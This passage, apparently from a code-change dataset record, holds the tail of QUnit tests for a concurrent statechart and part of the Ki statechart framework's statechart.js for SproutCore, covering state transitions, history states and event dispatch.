}\n});\n\ntest(\"send event eventA\", function() {\n  var monitor = statechart.get('monitor'),\n      stateA = statechart.getState('a'),\n      stateB = statechart.getState('b');\n      \n  monitor.reset();\n\n  equals(stateA.get('eventAInvoked'), false);\n  equals(stateB.get('eventAInvoked'), false);\n\n  statechart.sendEvent('eventA');\n  \n  equals(monitor.get('length'), 0, 'state sequence should be of length 0');\n  equals(statechart.stateIsCurrentState('c'), true, 'current state should be c');\n  equals(statechart.stateIsCurrentState('e'), true, 'current state should be e');\n  equals(stateA.get('eventAInvoked'), true);\n  equals(stateB.get('eventAInvoked'), true);\n});\n\ntest(\"send event eventB\", function() {\n  var monitor = statechart.get('monitor');\n      \n  monitor.reset();\n  \n  equals(statechart.stateIsCurrentState('c'), true, 'current state should be c');\n  equals(statechart.stateIsCurrentState('e'), true, 'current state should be e');\n  \n  statechart.sendEvent('eventB');\n  \n  equals(statechart.get('currentStateCount'), 2, 'current state count should be 2');\n  equals(statechart.stateIsCurrentState('d'), true, 'current state should be d');\n  equals(statechart.stateIsCurrentState('f'), true, 'current state should be f');\n  \n  equals(monitor.get('length'), 4, 'state sequence should be of length 4');\n  equals(monitor.matchSequence()\n                .begin()\n                .exited('c').entered('d')\n                .exited('e').entered('f')\n                .end(), \n          true, 'sequence should be exited[c], entered[d], exited[e], entered[f]');\n});\n\ntest(\"send event eventB then eventC\", function() {\n  var monitor = statechart.get('monitor');\n\n  statechart.sendEvent('eventB');\n  \n  equals(statechart.stateIsCurrentState('d'), true, 'current state should be d');\n  equals(statechart.stateIsCurrentState('f'), true, 'current state should be f');\n\n  monitor.reset();\n  \n  statechart.sendEvent('eventC');\n\n  equals(statechart.stateIsCurrentState('c'), true, 'current state should be c');\n  equals(statechart.stateIsCurrentState('e'), true, 'current state should be e');\n\n  equals(monitor.get('length'), 4, 'state sequence should be of length 4');\n  equals(monitor.matchSequence()\n                .begin()\n                .exited('d').entered('c')\n                .exited('f').entered('e')\n                .end(), \n          true, 'sequence should be exited[d], entered[c], exited[f], entered[e]');\n});\n\ntest(\"send event eventD\", function() {\n  var monitor = statechart.get('monitor');\n      \n  monitor.reset();\n  \n  equals(statechart.stateIsCurrentState('c'), true, 'current state should be c');\n  equals(statechart.stateIsCurrentState('e'), true, 'current state should be e');\n  \n  statechart.sendEvent('eventD');\n  \n  equals(monitor.get('length'), 6, 'state sequence should be of length 6');\n  equals(monitor.matchSequence()\n                .begin()\n                .exited('c', 'a', 'e', 'b', 'x').entered('y')\n                .end(), \n          true, 'sequence should be exited[c, a, e, b, x], entered[y]');\n          \n  equals(statechart.currentStateCount(), 1, 'statechart should only have 1 current state');\n  equals(statechart.stateIsCurrentState('c'), false, 'current state not should be c');\n  equals(statechart.stateIsCurrentState('e'), false, 'current state not should be e');\n  equals(statechart.stateIsCurrentState('y'), true, 'current state should be y');\n});\n\ntest(\"send event eventZ\", function() {\n  var monitor = statechart.get('monitor');\n      \n  monitor.reset();\n  \n  equals(statechart.stateIsCurrentState('c'), true, 'current state should be c');\n  equals(statechart.stateIsCurrentState('e'), true, 'current state should be e');\n  \n  equals(monitor.get('length'), 0, 'state sequence should be of length 0');\n  \n  equals(statechart.stateIsCurrentState('c'), true, 'current state should be c');\n  equals(statechart.stateIsCurrentState('e'), true, 'current state should be e');\n});\n"}, "files_after": {"frameworks/foundation/system/statechart.js": "// ==========================================================================\n// Project:   Ki - A Statechart Framework for SproutCore\n// License:   Licensed under MIT license (see license.js)\n// ==========================================================================\n\n/*globals Ki */\n\nsc_require('system/state');\n\n/**\n  The startchart manager mixin allows an object to be a statechart. By becoming a statechart, the\n  object can then be manage a set of its own states.\n  \n  This implemention of the statechart manager closely follows the concepts stated in D. Harel's \n  original paper \"Statecharts: A Visual Formalism For Complex Systems\" \n  (www.wisdom.weizmann.ac.il/~harel/papers/Statecharts.pdf). \n  \n  The statechart allows for complex state heircharies by nesting states within states, and \n  allows for state orthogonality based on the use of concurrent states.\n  \n  At minimum, a statechart must have one state: The root state. All other states in the statechart\n  are a decendents (substates) of the root state.\n  \n  The following example shows how states are nested within a statechart:\n  \n    {{{\n    \n      MyApp.Statechart = SC.Object.extend(Ki.StatechartManager, {\n      \n        rootState: Ki.State.design({\n      \n          initialSubstate: 'stateA',\n        \n          stateA: Ki.State.design({\n            // ... can continue to nest further states\n          }),\n        \n          stateB: Ki.State.design({\n            // ... can continue to nest further states\n          })\n        })\n      \n      })\n    \n    }}}\n  \n  Note how in the example above, the root state as an explicit initial substate to enter into. If no\n  initial substate is provided, then the statechart will default to the the state's first substate.\n  \n  You can also defined states without explicitly defining the root state. To do so, simply create properties\n  on your object that represents states. Upon initialization, a root state will be constructed automatically\n  by the mixin and make the states on the object substates of the root state. As an example:\n  \n    {{{\n  \n      MyApp.Statechart = SC.Object.extend(Ki.StatechartManager, {\n    \n        initialState: 'stateA',\n      \n        stateA: Ki.State.design({\n          // ... can continue to nest further states\n        }),\n      \n        stateB: Ki.State.design({\n          // ... can continue to nest further states\n        })\n    \n      })\n  \n    }}} \n  \n  If you liked to specify a class that should be used as the root state but using the above method to defined\n  states, you can set the rootStateExample property with a class that extends from Ki.State. If the \n  rootStateExaple property is not explicitly assigned the then default class used will be Ki.State.\n  \n  To provide your statechart with orthogonality, you use concurrent states. If you use concurrent states,\n  then your statechart will have multiple current states. That is because each concurrent state represents an\n  independent state structure from other concurrent states. The following example shows how to provide your\n  statechart with concurrent states:\n  \n    {{{\n    \n      MyApp.Statechart = SC.Object.extend(Ki.StatechartManager, {\n      \n        rootState: Ki.State.design({\n      \n          substatesAreConcurrent: YES,\n        \n          stateA: Ki.State.design({\n            // ... can continue to nest further states\n          }),\n        \n          stateB: Ki.State.design({\n            // ... can continue to nest further states\n          })\n        })\n      \n      })\n    \n    }}}\n  \n  Above, to indicate that a state's substates are concurrent, you just have to set the substatesAreConcurrent to \n  YES. Once done, then stateA and stateB will be independent of each other and each will manage their\n  own current substates. The root state will then have more then one current substate.\n  \n  To define concurrent states directly on the object without explicitly defining a root, you can do the \n  following:\n  \n    {{{\n\n      MyApp.Statechart = SC.Object.extend(Ki.StatechartManager, {\n  \n        statesAreConcurrent: YES,\n    \n        stateA: Ki.State.design({\n          // ... can continue to nest further states\n        }),\n    \n        stateB: Ki.State.design({\n          // ... can continue to nest further states\n        })\n  \n      })\n\n    }}}\n  \n  Remember that a startchart can have a mixture of nested and concurrent states in order for you to \n  create as complex of statecharts that suite your needs. Here is an example of a mixed state structure:\n  \n    {{{\n    \n      MyApp.Statechart = SC.Object.extend(Ki.StatechartManager, {\n      \n        rootState: Ki.State.design({\n      \n          initialSubstate: 'stateA',\n        \n          stateA: Ki.State.design({\n          \n            substatesAreConcurrent: YES,\n          \n            stateM: Ki.State.design({ ... })\n            stateN: Ki.State.design({ ... })\n            stateO: Ki.State.design({ ... })\n          \n          }),\n        \n          stateB: Ki.State.design({\n          \n            initialSubstate: 'stateX',\n          \n            stateX: Ki.State.design({ ... })\n            stateY: Ki.State.desgin({ ... })\n          \n          })\n        })\n      \n      })\n    \n    }}}\n  \n  Depending on your needs, a statechart can have lots of states, which can become hard to manage all within\n  one file. To modularize your states and make them easier to manage and maintain, you can plug-in states\n  into other states. Let's say we are using the statechart in the last example above, and all the code is \n  within one file. We could update the code and split the logic across two or more files like so:\n  \n    {{{\n      ---- state_a.js\n  \n      MyApp.StateA = Ki.State.extend({\n    \n        substatesAreConcurrent: YES,\n    \n        stateM: Ki.State.design({ ... })\n        stateN: Ki.State.design({ ... })\n        stateO: Ki.State.design({ ... })\n    \n      });\n    \n      ---- state_b.js\n    \n      MyApp.StateB = Ki.State.extend({\n    \n        substatesAreConcurrent: YES,\n    \n        stateM: Ki.State.design({ ... })\n        stateN: Ki.State.design({ ... })\n        stateO: Ki.State.design({ ... })\n    \n      });\n    \n      ---- statechart.js\n    \n      MyApp.Statechart = SC.Object.extend(Ki.StatechartManager, {\n    \n        rootState: Ki.State.design({\n    \n          initialSubstate: 'stateA',\n      \n          stateA: Ki.State.plugin('MyApp.StateA'),\n      \n          stateB: Ki.State.plugin('MyApp.StateB')\n        \n        })\n    \n      })\n  \n    }}}\n    \n  Using state plug-in functionality is optional. If you use the plug-in feature you can break up your statechart\n  into as many files as you see fit.\n\n*/\n\nKi.StatechartManager = {\n  \n  // Walk like a duck\n  isResponderContext: YES,\n  \n  // Walk like a duck\n  isStatechart: YES,\n  \n  /**\n    Indicates if this statechart has been initialized\n\n    @property {Boolean}\n  */\n  statechartIsInitialized: NO,\n  \n  /**\n    The root state of this statechart. All statecharts must have a root state.\n    \n    If this property is left unassigned then when the statechart is initialized\n    it will used the rootStateExample, initialState, and statesAreConcurrent\n    properties to construct a root state.\n    \n    @see #rootStateExample\n    @see #initialState\n    @see #statesAreConcurrent\n    \n    @property {Ki.State}\n  */\n  rootState: null,\n  \n  /** \n    Represents the class used to construct a class that will be the root state for\n    this statechart. The class assigned must derive from Ki.State. \n    \n    This property will only be used if the rootState property is not assigned.\n  \n    @see #rootState\n  \n    @property {Ki.State}\n  */\n  rootStateExample: Ki.State,\n  \n  /** \n    Indicates what state should be the intiail state of this statechart. The value\n    assigned must be the name of a property on this object that represents a state.\n    As well, the statesAreConcurrent must be set to NO.\n    \n    This property will only be used if the rootState property is not assigned.\n  \n    @see #rootState\n  \n    @property {String} \n  */\n  initialState: null,\n  \n  /** \n    Indicates if properties on this object representing states are concurrent to each other.\n    If YES then they are concurrent, otherwise they are not. If the YES, then the\n    initialState property must not be assigned.\n    \n    This property will only be used if the rootState property is not assigned.\n  \n    @see #rootState\n  \n    @property {Boolean}\n  */\n  statesAreConcurrent: NO,\n  \n  /** \n    Indicates whether to use a monitor to monitor that statechart's activities. If true then\n    the monitor will be active, otherwise the monitor will not be used. Useful for debugging\n    purposes.\n    \n    @property {Boolean}\n  */\n  monitorIsActive: NO,\n  \n  /**\n    A statechart monitor that can be used to monitor this statechart. Useful for debugging purposes.\n    A monitor will only be used if monitorIsActive is true.\n    \n    @property {Ki.StatechartMonitor}\n  */\n  monitor: null,\n  \n  /**\n    Used to specify what property (key) on the statechart should be used as the trace property. By\n    default the property is 'trace'.\n\n    @property {String}\n  */\n  statechartTraceKey: 'trace',\n\n  /**\n    Indicates whether to trace the statecharts activities. If true then the statechart will output\n    its activites to the browser's JS console. Useful for debugging purposes.\n\n    @see #statechartTraceKey\n\n    @property {Boolean}\n  */\n  trace: NO,\n  \n  /**\n    Used to specify what property (key) on the statechart should be used as the owner property. By\n    default the property is 'owner'.\n\n    @property {String}\n  */\n  statechartOwnerKey: 'owner',\n\n  /**\n    Sets who the owner is of this statechart. If null then the owner is this object otherwise\n    the owner is the assigned object. \n\n    @see #statechartOwnerKey\n\n    @property {SC.Object}\n  */\n  owner: null,\n\n  /** \n    Indicates if the statechart should be automatically initialized by this\n    object after it has been created. If YES then initStatechart will be\n    called automatically, otherwise it will not.\n  \n    @property {Boolean}\n  */\n  autoInitStatechart: YES,\n  \n  /**\n    If yes, any warning messages produced by the statechart or any of its states will\n    not be logged, otherwise all warning messages will be logged. \n    \n    While designing and debugging your statechart, it's best to keep this value false.\n    In production you can then suppress the warning messages.\n    \n    @property {Boolean}\n  */\n  suppressStatechartWarnings: NO,\n  \n  initMixin: function() {\n    if (this.get('autoInitStatechart')) {\n      this.initStatechart();\n    }\n  },\n  \n  destroyMixin: function() {\n    var root = this.get('rootState'),\n        traceKey = this.get('statechartTraceKey');\n\n    this.removeObserver(traceKey, this, '_statechartTraceDidChange');\n\n    root.destroy();\n    this.set('rootState', null);\n  },\n\n  /**\n    Initializes the statechart. By initializing the statechart, it will create all the states and register\n    them with the statechart. Once complete, the statechart can be used to go to states and send events to.\n  */\n  initStatechart: function() {\n    if (this.get('statechartIsInitialized')) return;\n    \n    this._gotoStateLocked = NO;\n    this._sendEventLocked = NO;\n    this._pendingStateTransitions = [];\n    this._pendingSentEvents = [];\n    \n    this.sendAction = this.sendEvent;\n    \n    if (this.get('monitorIsActive')) {\n      this.set('monitor', Ki.StatechartMonitor.create());\n    }\n\n    var traceKey = this.get('statechartTraceKey');\n\n    this.addObserver(traceKey, this, '_statechartTraceDidChange');\n    this._statechartTraceDidChange();\n\n    var trace = this.get('allowTracing'),\n        rootState = this.get('rootState'),\n        msg;\n    \n    if (trace) this.statechartLogTrace(\"BEGIN initialize statechart\");\n    \n    // If no root state was explicitly defined then try to construct\n    // a root state class\n    if (!rootState) {\n      rootState = this._constructRootStateClass();\n    }\n    else if (SC.typeOf(rootState) === SC.T_FUNCTION && rootState.statePlugin) {\n      rootState = rootState.apply(this);\n    }\n    \n    if (!(SC.kindOf(rootState, Ki.State) && rootState.isClass)) {\n      msg = \"Unable to initialize statechart. Root state must be a state class\";\n      this.statechartLogError(msg);\n      throw msg;\n    }\n    \n    rootState = this.createRootState(rootState, { \n      statechart: this, \n      name: Ki.ROOT_STATE_NAME \n    });\n    \n    this.set('rootState', rootState);\n    rootState.initState();\n    \n    if (SC.kindOf(rootState.get('initialSubstate'), Ki.EmptyState)) {\n      msg = \"Unable to initialize statechart. Root state must have an initial substate explicilty defined\";\n      this.statechartLogError(msg);\n      throw msg;\n    }\n    \n    if (!SC.empty(this.get('initialState'))) {\n      var key = 'initialState';\n      this.set(key, rootState.get(this.get(key)));\n    } \n    \n    this.set('statechartIsInitialized', YES);\n    this.gotoState(rootState);\n    \n    if (trace) this.statechartLogTrace(\"END initialize statechart\");\n  },\n  \n  /**\n    Will create a root state for the statechart\n  */\n  createRootState: function(state, attrs) {\n    if (!attrs) attrs = {};\n    state = state.create(attrs);\n    return state;\n  },\n  \n  /**\n    Returns an array of all the current states for this statechart\n    \n    @returns {Array} the current states\n  */\n  currentStates: function() {\n    return this.getPath('rootState.currentSubstates');\n  }.property().cacheable(),\n  \n  /**\n    Returns the first current state for this statechart. \n    \n    @return {Ki.State}\n  */\n  firstCurrentState: function() {\n    var cs = this.get('currentStates');\n    return cs ? cs.objectAt(0) : null;\n  }.property('currentStates').cacheable(),\n  \n  /**\n    Returns the count of the current states for this statechart\n    \n    @returns {Number} the count \n  */\n  currentStateCount: function() {\n    return this.getPath('currentStates.length');\n  }.property('currentStates').cacheable(),\n  \n  /**\n    Checks if a given state is a current state of this statechart. \n    \n    @param state {State} the state to check\n    @returns {Boolean} true if the state is a current state, otherwise fals is returned\n  */\n  stateIsCurrentState: function(state) {\n    return this.get('rootState').stateIsCurrentSubstate(state);\n  },\n  \n  /**\n    Checks if the given value represents a state is this statechart\n    \n    @param value {State|String} either a state object or the name of a state\n    @returns {Boolean} true if the state does belong ot the statechart, otherwise false is returned\n  */\n  doesContainState: function(value) {\n    return !SC.none(this.getState(value));\n  },\n  \n  /**\n    Gets a state from the statechart that matches the given value\n    \n    @param value {State|String} either a state object of the name of a state\n    @returns {State} if a match then the matching state is returned, otherwise null is returned \n  */\n  getState: function(value) {\n    return this.get('rootState').getSubstate(value);\n  },\n  \n  /**\n    When called, the statechart will proceed with making state transitions in the statechart starting from \n    a current state that meet the statechart conditions. When complete, some or all of the statechart's \n    current states will be changed, and all states that were part of the transition process will either \n    be exited or entered in a specific order.\n    \n    The state that is given to go to will not necessarily be a current state when the state transition process\n    is complete. The final state or states are dependent on factors such an initial substates, concurrent \n    states, and history states.\n    \n    Because the statechart can have one or more current states, it may be necessary to indicate what current state\n    to start from. If no current state to start from is provided, then the statechart will default to using\n    the first current state that it has; depending of the make up of the statechart (no concurrent state vs.\n    with concurrent states), the outcome may be unexpected. For a statechart with concurrent states, it is best\n    to provide a current state in which to start from.\n    \n    When using history states, the statechart will first make transitions to the given state and then use that\n    state's history state and recursively follow each history state's history state until there are no \n    more history states to follow. If the given state does not have a history state, then the statechart\n    will continue following state transition procedures.\n    \n    Method can be called in the following ways:\n    \n    {{{\n    \n      // With one argument. \n      gotoState(<state>)\n      \n      // With two argument.\n      gotoState(<state>, <state | boolean | hash>)\n      \n      // With three argument.\n      gotoState(<state>, <state>, <boolean | hash>)\n      gotoState(<state>, <boolean>, <hash>)\n      \n      // With four argument.\n      gotoState(<state>, <state>, <boolean>, <hash>)\n    \n    }}}\n    \n    where <state> is either a Ki.State object or a string and <hash> is a regular JS hash object.\n    \n    @param state {Ki.State|String} the state to go to (may not be the final state in the transition process)\n    @param fromCurrentState {Ki.State|String} Optional. The current state to start the transition process from.\n    @param useHistory {Boolean} Optional. Indicates whether to include using history states in the transition process\n    @param context {Hash} Optional. A context object that will be passed to all exited and entered states\n  */\n  gotoState: function(state, fromCurrentState, useHistory, context) {\n    \n    if (!this.get('statechartIsInitialized')) {\n      this.statechartLogError(\"can not go to state %@. statechart has not yet been initialized\".fmt(state));\n      return;\n    }\n    \n    if (this.get('isDestroyed')) {\n      this.statechartLogError(\"can not go to state %@. statechart is destroyed\".fmt(this));\n      return;\n    }\n    \n    var args = this._processGotoStateArgs(arguments);\n\n    state = args.state;\n    fromCurrentState = args.fromCurrentState;\n    useHistory = args.useHistory;\n    context = args.context;\n    \n    var pivotState = null,\n        exitStates = [],\n        enterStates = [],\n        trace = this.get('allowTracing'),\n        rootState = this.get('rootState'),\n        paramState = state,\n        paramFromCurrentState = fromCurrentState;\n    \n    state = rootState.getSubstate(state);\n    \n    if (SC.none(state)) {\n      this.statechartLogError(\"Can not to goto state %@. Not a recognized state in statechart\".fmt(paramState));\n      return;\n    }\n    \n    if (this._gotoStateLocked) {\n      // There is a state transition currently happening. Add this requested state\n      // transition to the queue of pending state transitions. The request will\n      // be invoked after the current state transition is finished.\n      this._pendingStateTransitions.push({\n        state: state,\n        fromCurrentState: fromCurrentState,\n        useHistory: useHistory,\n        context: context\n      });\n      \n      return;\n    }\n    \n    // Lock the current state transition so that no other requested state transition \n    // interferes. \n    this._gotoStateLocked = YES;\n    \n    if (!SC.none(fromCurrentState)) {\n      // Check to make sure the current state given is actually a current state of this statechart\n      fromCurrentState = rootState.getSubstate(fromCurrentState);\n      if (SC.none(fromCurrentState) || !fromCurrentState.get('isCurrentState')) {\n        var msg = \"Can not to goto state %@. %@ is not a recognized current state in statechart\";\n        this.statechartLogError(msg.fmt(paramState, paramFromCurrentState));\n        this._gotoStateLocked = NO;\n        return;\n      }\n    } \n    else if (this.getPath('currentStates.length') > 0) {\n      // No explicit current state to start from; therefore, just use the first current state as \n      // a default, if there is a current state.\n      fromCurrentState = this.get('currentStates')[0];\n    }\n        \n    if (trace) {\n      this.statechartLogTrace(\"BEGIN gotoState: %@\".fmt(state));\n      this.statechartLogTrace(\"starting from current state: %@\".fmt(fromCurrentState));\n      this.statechartLogTrace(\"current states before: %@\".fmt(this.get('currentStates')));\n    }\n\n    // If there is a current state to start the transition process from, then determine what\n    // states are to be exited\n    if (!SC.none(fromCurrentState)) {\n      exitStates = this._createStateChain(fromCurrentState);\n    }\n    \n    // Now determine the initial states to be entered\n    enterStates = this._createStateChain(state);\n    \n    // Get the pivot state to indicate when to go from exiting states to entering states\n    pivotState = this._findPivotState(exitStates, enterStates);\n\n    if (pivotState) {\n      if (trace) this.statechartLogTrace(\"pivot state = %@\".fmt(pivotState));\n      if (pivotState.get('substatesAreConcurrent')) {\n        this.statechartLogError(\"Can not go to state %@ from %@. Pivot state %@ has concurrent substates.\".fmt(state, fromCurrentState, pivotState));\n        this._gotoStateLocked = NO;\n        return;\n      }\n    }\n    \n    // Collect what actions to perform for the state transition process\n    var gotoStateActions = [];\n    \n    // Go ahead and find states that are to be exited\n    this._traverseStatesToExit(exitStates.shift(), exitStates, pivotState, gotoStateActions);\n    \n    // Now go find states that are to entered\n    if (pivotState !== state) {\n      this._traverseStatesToEnter(enterStates.pop(), enterStates, pivotState, useHistory, gotoStateActions);\n    } else {\n      this._traverseStatesToExit(pivotState, [], null, gotoStateActions);\n      this._traverseStatesToEnter(pivotState, null, null, useHistory, gotoStateActions);\n    }\n    \n    // Collected all the state transition actions to be performed. Now execute them.\n    this._executeGotoStateActions(state, gotoStateActions, null, context);\n  },\n  \n  /**\n    Indicates if the statechart is in an active goto state process\n  */\n  gotoStateActive: function() {\n    return this._gotoStateLocked;\n  }.property(),\n  \n  /**\n    Indicates if the statechart is in an active goto state process\n    that has been suspended\n  */\n  gotoStateSuspended: function() {\n    return this._gotoStateLocked && !!this._gotoStateSuspendedPoint;\n  }.property(),\n  \n  /**\n    Resumes an active goto state transition process that has been suspended.\n  */\n  resumeGotoState: function() {\n    if (!this.get('gotoStateSuspended')) {\n      this.statechartLogError(\"Can not resume goto state since it has not been suspended\");\n      return;\n    }\n    \n    var point = this._gotoStateSuspendedPoint;\n    this._executeGotoStateActions(point.gotoState, point.actions, point.marker, point.context);\n  },\n  \n  /** @private */\n  _executeGotoStateActions: function(gotoState, actions, marker, context) {\n    var action = null,\n        len = actions.length,\n        actionResult = null;\n      \n    marker = SC.none(marker) ? 0 : marker;\n    \n    for (; marker < len; marker += 1) {\n      action = actions[marker];\n      switch (action.action) {\n        case Ki.EXIT_STATE:\n          actionResult = this._exitState(action.state, context);\n          break;\n          \n        case Ki.ENTER_STATE:\n          actionResult = this._enterState(action.state, action.currentState, context);\n          break;\n      }\n      \n      //\n      // Check if the state wants to perform an asynchronous action during\n      // the state transition process. If so, then we need to first\n      // suspend the state transition process and then invoke the \n      // asynchronous action. Once called, it is then up to the state or something \n      // else to resume this statechart's state transition process by calling the\n      // statechart's resumeGotoState method.\n      //\n      if (SC.kindOf(actionResult, Ki.Async)) {\n        this._gotoStateSuspendedPoint = {\n          gotoState: gotoState,\n          actions: actions,\n          marker: marker + 1,\n          context: context\n        }; \n        \n        actionResult.tryToPerform(action.state);\n        return;\n      }\n    }\n    \n    this.notifyPropertyChange('currentStates');\n    \n    if (this.get('allowTracing')) {\n      this.statechartLogTrace(\"current states after: %@\".fmt(this.get('currentStates')));\n      this.statechartLogTrace(\"END gotoState: %@\".fmt(gotoState));\n    }\n    \n    // Okay. We're done with the current state transition. Make sure to unlock the\n    // gotoState and let other pending state transitions execute.\n    this._gotoStateSuspendedPoint = null;\n    this._gotoStateLocked = NO;\n    this._flushPendingStateTransition();\n  },\n  \n  /** @private */\n  _exitState: function(state, context) {\n    if (state.get('currentSubstates').indexOf(state) >= 0) {  \n      var parentState = state.get('parentState');\n      while (parentState) {\n        parentState.get('currentSubstates').removeObject(state);\n        parentState = parentState.get('parentState');\n      }\n    }\n      \n    if (this.get('allowTracing')) this.statechartLogTrace(\"exiting state: %@\".fmt(state));\n    \n    state.set('currentSubstates', []);\n    state.notifyPropertyChange('isCurrentState');\n    var result = this.exitState(state, context);\n    \n    if (this.get('monitorIsActive')) this.get('monitor').pushExitedState(state);\n    \n    state._traverseStatesToExit_skipState = NO;\n    \n    return result;\n  },\n  \n  /**\n    What will actually invoke a state's exitState method.\n  \n    Called during the state transition process whenever the gotoState method is\n    invoked.\n    \n    @param state {Ki.State} the state whose enterState method is to be invoked\n    @param context {Hash} a context hash object to provide the enterState method\n  */\n  exitState: function(state, context) {\n    return state.exitState(context);\n  },\n  \n  /** @private */\n  _enterState: function(state, current, context) {\n    var parentState = state.get('parentState');\n    if (parentState && !state.get('isConcurrentState')) parentState.set('historyState', state);\n    \n    if (current) {\n      parentState = state;\n      while (parentState) {\n        parentState.get('currentSubstates').push(state);\n        parentState = parentState.get('parentState');\n      }\n    }\n    \n    if (this.get('allowTracing')) this.statechartLogTrace(\"entering state: %@\".fmt(state));\n    \n    state.notifyPropertyChange('isCurrentState');\n    var result = this.enterState(state, context);\n    \n    if (this.get('monitorIsActive')) this.get('monitor').pushEnteredState(state);\n    \n    return result;\n  },\n  \n  /**\n    What will actually invoke a state's enterState method.\n  \n    Called during the state transition process whenever the gotoState method is\n    invoked.\n    \n    @param state {Ki.State} the state whose enterState method is to be invoked\n    @param context {Hash} a context hash object to provide the enterState method\n  */\n  enterState: function(state, context) {\n    return state.enterState(context);\n  },\n  \n  /**\n    When called, the statechart will proceed to make transitions to the given state then follow that\n    state's history state. \n    \n    You can either go to a given state's history recursively or non-recursively. To go to a state's history\n    recursively means to following each history state's history state until no more history states can be\n    followed. Non-recursively means to just to the given state's history state but do not recusively follow\n    history states. If the given state does not have a history state, then the statechart will just follow\n    normal procedures when making state transitions.\n    \n    Because a statechart can have one or more current states, depending on if the statechart has any concurrent\n    states, it is optional to provided current state in which to start the state transition process from. If no\n    current state is provided, then the statechart will default to the first current state that it has; which, \n    depending on the make up of that statechart, can lead to unexpected outcomes. For a statechart with concurrent\n    states, it is best to explicitly supply a current state.\n    \n    Method can be called in the following ways:\n    \n    {{{\n    \n      // With one arguments. \n      gotoHistorytate(<state>)\n      \n      // With two arguments. \n      gotoHistorytate(<state>, <state | boolean | hash>)\n      \n      // With three arguments.\n      gotoHistorytate(<state>, <state>, <boolean | hash>)\n      gotoHistorytate(<state>, <boolean>, <hash>)\n      \n      // With four argumetns\n      gotoHistorytate(<state>, <state>, <boolean>, <hash>)\n    \n    }}}\n    \n    where <state> is either a Ki.State object or a string and <hash> is a regular JS hash object.\n    \n    @param state {Ki.State|String} the state to go to and follow it's history state\n    @param fromCurrentState {Ki.State|String} Optional. the current state to start the state transition process from\n    @param recursive {Boolean} Optional. whether to follow history states recursively.\n  */\n  gotoHistoryState: function(state, fromCurrentState, recursive, context) {\n    if (!this.get('statechartIsInitialized')) {\n      this.statechartLogError(\"can not go to state %@'s history state. Statechart has not yet been initialized\".fmt(state));\n      return;\n    }\n    \n    var args = this._processGotoStateArgs(arguments);\n    \n    state = args.state;\n    fromCurrentState = args.fromCurrentState;\n    recursive = args.useHistory;\n    context = args.context;\n    \n    state = this.getState(state);\n  \n    if (!state) {\n      this.statechartLogError(\"Can not to goto state %@'s history state. Not a recognized state in statechart\".fmt(state));\n      return;\n    }\n    \n    var historyState = state.get('historyState');\n    \n    if (!recursive) { \n      if (historyState) {\n        this.gotoState(historyState, fromCurrentState, context);\n      } else {\n        this.gotoState(state, fromCurrentState, context);\n      }\n    } else {\n      this.gotoState(state, fromCurrentState, YES, context);\n    }\n  },\n  \n  /**\n    Sends a given event to all the statechart's current states.\n    \n    If a current state does can not respond to the sent event, then the current state's parent state\n    will be tried. This process is recursively done until no more parent state can be tried.\n    \n    @param event {String} name of the event\n    @param arg1 {Object} optional argument\n    @param arg2 {Object} optional argument\n    @returns {SC.Responder} the responder that handled it or null\n  */\n  sendEvent: function(event, arg1, arg2) {\n    \n    if (this.get('isDestroyed')) {\n      this.statechartLogError(\"can send event %@. statechart is destroyed\".fmt(event));\n      return;\n    }\n    \n    var statechartHandledEvent = NO,\n        eventHandled = NO,\n        currentStates = this.get('currentStates').slice(),\n        len = 0,\n        i = 0,\n        state = null,\n        trace = this.get('allowTracing'),\n        attemptedStates = [];\n    \n    if (this._sendEventLocked || this._goStateLocked) {\n      // Want to prevent any actions from being processed by the states until \n      // they have had a chance to handle the most immediate action or completed \n      // a state transition\n      this._pendingSentEvents.push({\n        event: event,\n        arg1: arg1,\n        arg2: arg2\n      });\n\n      return;\n    }\n    \n    this._sendEventLocked = YES;\n    \n    if (trace) {\n      this.statechartLogTrace(\"BEGIN sendEvent: event<%@>\".fmt(event));\n    }\n    \n    len = currentStates.get('length');\n    for (; i < len; i += 1) {\n      eventHandled = NO;\n      state = currentStates[i];\n      if (!state.get('isCurrentState')) continue;\n      while (!eventHandled && state) {\n        if (attemptedStates.indexOf(state) !== -1) break;\n        attemptedStates.push(state);\n        eventHandled = state.tryToHandleEvent(event, arg1, arg2);\n        if (!eventHandled) state = state.get('parentState');\n        else statechartHandledEvent = YES;\n      }\n    }\n    \n    // Now that all the states have had a chance to process the \n    // first event, we can go ahead and flush any pending sent events.\n    this._sendEventLocked = NO;\n    \n    if (trace) {\n      if (!statechartHandledEvent) this.statechartLogTrace(\"No state was able handle event %@\".fmt(event));\n      this.statechartLogTrace(\"END sendEvent: event<%@>\".fmt(event));\n    }\n    \n    var result = this._flushPendingSentEvents();\n    \n    return statechartHandledEvent ? this : (result ? this : null);\n  },\n\n  /** @private\n  \n    Creates a chain of states from the given state to the greatest ancestor state (the root state). Used\n    when perform state transitions.\n  */\n  _createStateChain: function(state) {\n    var chain = [];\n    \n    while (state) {\n      chain.push(state);\n      state = state.get('parentState');\n    }\n    \n    return chain;\n  },\n  \n  /** @private\n  \n    Finds a pivot state from two given state chains. The pivot state is the state indicating when states\n    go from being exited to states being entered during the state transition process. The value \n    returned is the fist matching state between the two given state chains. \n  */\n  _findPivotState: function(stateChain1, stateChain2) {\n    if (stateChain1.length === 0 || stateChain2.length === 0) return null;\n    \n    var pivot = stateChain1.find(function(state, index) {\n      if (stateChain2.indexOf(state) >= 0) return YES;\n    });\n    \n    return pivot;\n  },\n  \n  /** @private\n    \n    Recursively follow states that are to be exited during a state transition process. The exit\n    process is to start from the given state and work its way up to when either all exit\n    states have been reached based on a given exit path or when a stop state has been reached.\n    \n    @param state {State} the state to be exited\n    @param exitStatePath {Array} an array representing a path of states that are to be exited\n    @param stopState {State} an explicit state in which to stop the exiting process\n  */\n  _traverseStatesToExit: function(state, exitStatePath, stopState, gotoStateActions) {    \n    if (!state || state === stopState) return;\n    \n    var trace = this.get('allowTracing');\n    \n    // This state has concurrent substates. Therefore we have to make sure we\n    // exit them up to this state before we can go any further up the exit chain.\n    if (state.get('substatesAreConcurrent')) {\n      var i = 0,\n          currentSubstates = state.get('currentSubstates'),\n          len = currentSubstates.length,\n          currentState = null;\n      \n      for (; i < len; i += 1) {\n        currentState = currentSubstates[i];\n        if (currentState._traverseStatesToExit_skipState === YES) continue;\n        var chain = this._createStateChain(currentState);\n        this._traverseStatesToExit(chain.shift(), chain, state, gotoStateActions);\n      }\n    }\n    \n    gotoStateActions.push({ action: Ki.EXIT_STATE, state: state });\n    if (state.get('isCurrentState')) state._traverseStatesToExit_skipState = YES;\n    